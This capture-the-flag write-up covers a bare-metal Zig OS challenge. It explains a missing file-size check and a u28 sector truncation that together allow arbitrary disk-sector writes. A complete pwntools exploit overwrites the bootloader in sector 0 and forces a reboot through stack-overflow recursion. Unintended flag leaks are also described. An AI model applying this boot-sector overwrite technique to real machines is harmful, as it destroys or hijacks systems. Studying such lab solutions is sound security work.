#
Provided files#
IntendedWhen run locally, it spits out some initialization text and then a menu:
[+] entering mbrsector
[+] switching to bootsector
[+] enter bootsector
[+] switching to extended bootloader
[+] enter extended bootloader
[+] boot args:
- drive: 0x80
- partition: partitions.Partition{ .attributes = 128, .start_chs = 257, .type =
1, .end_chs = 16143, .start_lba = 63, .sectors = 945 }
- index: 0
[+] init disk
FAT FS TYPE: fat32
[+] switching to bootstrap
[+] enter bootstrap stagenter code32
leave code32
enter code64
stack bottom: 0000000000FE0000
stack top: 00000000013E0000
first availible sector: 945
0. print flag variable
1. input program
2. echo on
3. echo off
4. exec file
5. open file
6. seek file
7. make file
8. write file
The menu code belongs to src/shell.zig
and gives us a few options.
The bugs in this challenge is are problems in the implementation of the filesystem in src/fs.zig
and src/disk.zig
:
#
Arbitrary file sizeThe code that handles creating a file does not perform any sort of file size validation.
pub fn new(name: []const u8, size: usize) !*File {
var file = try manager.create(File);
try file.init(name, size);
try files.put(name, file);
return file;
}
#
Sector truncationWhen writing to a sector, the write function accepts a relative sector of size usize
but truncates the sector to a u28
.
fn _write(relative: usize, buffer: [*]align(1) u16, sectors: u8) !void {
var status: u8 = wait();
const absolute = @truncate(u28, partition.start + relative);
term.printf("writing to {} sectors to logical block {}\r\n", .{ sectors, absolute });
// -- snip --
}
The two bugs allow arbitrary access to the underlying disk. If a large enough file is supplied, one can seek to an offset that when converted to disk sectors is truncated to an arbitrary disk sector of an attacker's choosing.
pub const File = struct {
name: []const u8,
cache: [512]u8,
sector: usize,
size: usize,
offset: usize,
const Self = @This();
// -- snip --
pub fn write(self: *Self, buffer: []u8) !void {
if (self.offset + buffer.len >= self.size) {
return std.os.AccessError.InputTooLong;
}
var result = self.offset + buffer.len;
defer self.offset = result;
defer self.reload() catch |err| die(err);
try disk.write(self.sector + self.offset / 512, @ptrCast([*]align(1) u16, buffer)[0 .. buffer.len / 2]);
}
pub fn seek(self: *Self, offset: usize) !void {
if (offset >= self.size) {
return std.os.AccessError.InputTooLong;
}
self.offset = offset;
try self.reload();
}
// -- snip --
};
Using this out of bounds write to the disk, we can write to any sector of the disk. Sector 0 of the disk always contains the bootloader that the processor boots from, so we can overwrite the old bootloader with a new bootloader that dumps the disk to search for the flag.
However once the old bootloader is overwritten, the processor still needs to reboot in order to execute the new bootloader. This is where the interpreter comes into play. The interpreter makes heavy use of recursion, which can quickly overflow the stack of the application. Due to the application running in ring 0, as soon as the stack overflows the whole thing triple faults and reboots, executing our new bootloader.
#
Solution1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
from pwn import *
from subprocess import run
run(["nasm", "-f", "bin", "-o", "boot.bin", "boot.asm"], check=True)
if args.HOST and args.PORT:
p = remote(args.HOST, args.PORT)
else:
p = remote("localhost", 5000)
""" wait for remote to catch up """
def wait():
p.recvuntil(b"8. write file\n")
""" new bootloader """
bootcode = open("boot.bin", "rb").read()
assert len(bootcode) == 512
m28 = (1 << 28) - 1
""" read filesystem sector offset """
p.recvuntil(b"first availible sector: ")
offset = int(p.recvline().strip())
""" calculate offset to write to sector zero """
zero = (0 - 63 - offset & m28) * 512
log.info(f"offset: {offset}")
""" create massive file """
wait()
log.info(f"creating file")
p.send(b"7\ntmp\n9999999999999999\n")
""" seek to malicious offset """
wait()
log.info(f"seeking to offset")
p.send(b"6\n" + str(zero).encode() + b"\n")
""" write new bootloader """
wait()
log.info(f"writing new bootloader")
p.send(b"8\n512\n" + bootcode + b"\n")
p.recvuntil(b"writing to ")
count = int(p.recvuntil(b" ").strip(b" "))
p.recvuntil(b"sectors to logical block ")
sector = int(p.recvline().strip())
log.info(f"count: {count}, sector: {sector}")
""" disable echo to reduce output """
wait()
log.info(f"disabling echo")
p.send(b"3\n")
""" force the interpreter to recurse and overflow the stack """
wait()
log.info(f"rebooting remote")
p.send(b"1\n" + b"{" * 0x2000 + b"\n")
p.interactive(textonly=True)
#
Unintendeds#
Leak flag using exec errorsUsing the same giant file / arbitrary seek bug from before, it is possible to leak the flag character by character using the file exec option because it immediately errors and leaks a character. Lesson learned. Dont create helpful errors.
#
iPXE command line tricksIf you overwrite the bootloader signature 0xAA55
and reboot, it fails to boot and allows access to the iPXE commandline. Once there it allows a dump of the disk which can be used to extract the flag.